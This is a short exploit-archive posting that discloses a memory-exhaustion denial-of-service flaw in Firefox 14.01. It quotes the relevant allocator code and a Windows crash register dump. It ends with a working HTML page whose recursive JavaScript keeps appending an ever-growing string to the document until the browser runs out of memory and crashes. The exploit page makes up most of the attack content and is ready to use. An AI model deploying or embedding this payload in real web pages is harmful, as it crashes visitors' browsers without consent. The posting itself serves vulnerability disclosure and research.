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Mozilla Firefox 14.01 Denial Of Service

Mozilla Firefox 14.01 Denial Of Service
Posted Aug 17, 2012
Authored by Jean Pascal Pereira

Mozilla Firefox version 14.01 memory exhaustion denial of service exploit.

tags | exploit, denial of service
MD5 | d7a3fafc61d94a4feadc1399b5ba12e7

Mozilla Firefox 14.01 Denial Of Service

Change Mirror Download
<!--

---------------------------------------------------
Mozilla Firefox 14.01 Memory Exhaustion DoS Exploit
---------------------------------------------------

Credit: Jean Pascal Pereira <pereira@secbiz.de>

Description:

Mozilla Firefox is prone to a memory exhaustion vulnerability.
The issue has been tested on Firefox 14.01, prior versions may also be affected.

mozalloc.cpp, line 184:

moz_xposix_memalign(void **ptr, size_t alignment, size_t size)
{
int err = posix_memalign(ptr, alignment, size);
if (UNLIKELY(err && ENOMEM == err)) {

mozalloc_handle_oom();
return moz_xposix_memalign(ptr, alignment, size);
}
// else: (0 == err) or (EINVAL == err)
return err;
}

A crafted JavaScript leads the application to crash.

Stacktrace (Windows 7 SP1):

EAX 00000000
ECX 5D923896 MSVCR100.5D923896
EDX 00000003
EBX 7FB00000 UNICODE "xxxxxxxxx [...]"
ESP 002BB7F8
EBP 002BB85C
ESI 5D8D1EC6 MSVCR100.__p__iob
EDI 5D92379C MSVCR100.fputs
EIP 73FC1999 mozalloc.73FC1999
C 0 ES 0023 32bit 0(FFFFFFFF)
P 0 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFDF000(C000)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty 1.0000000000000000000
ST1 empty 0.1085754583206562651
ST2 empty -0.0696429635909516231
ST3 empty 86.763962149620056150
ST4 empty 31200.200000000000730
ST5 empty 1.3451474216221712500e+15
ST6 empty 1.0390856000000000000e+10
ST7 empty 0.0
3 2 1 0 E S P U O Z D I
FST 0022 Cond 0 0 0 0 Err 0 0 1 0 0 0 1 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

-->

<html>
<head>
<title></title>
</head>
<body></body>
<script>
function e(x)
{
document.body.innerHTML += x;
e(x + 'x');
};

e('x')
</script>
</html>

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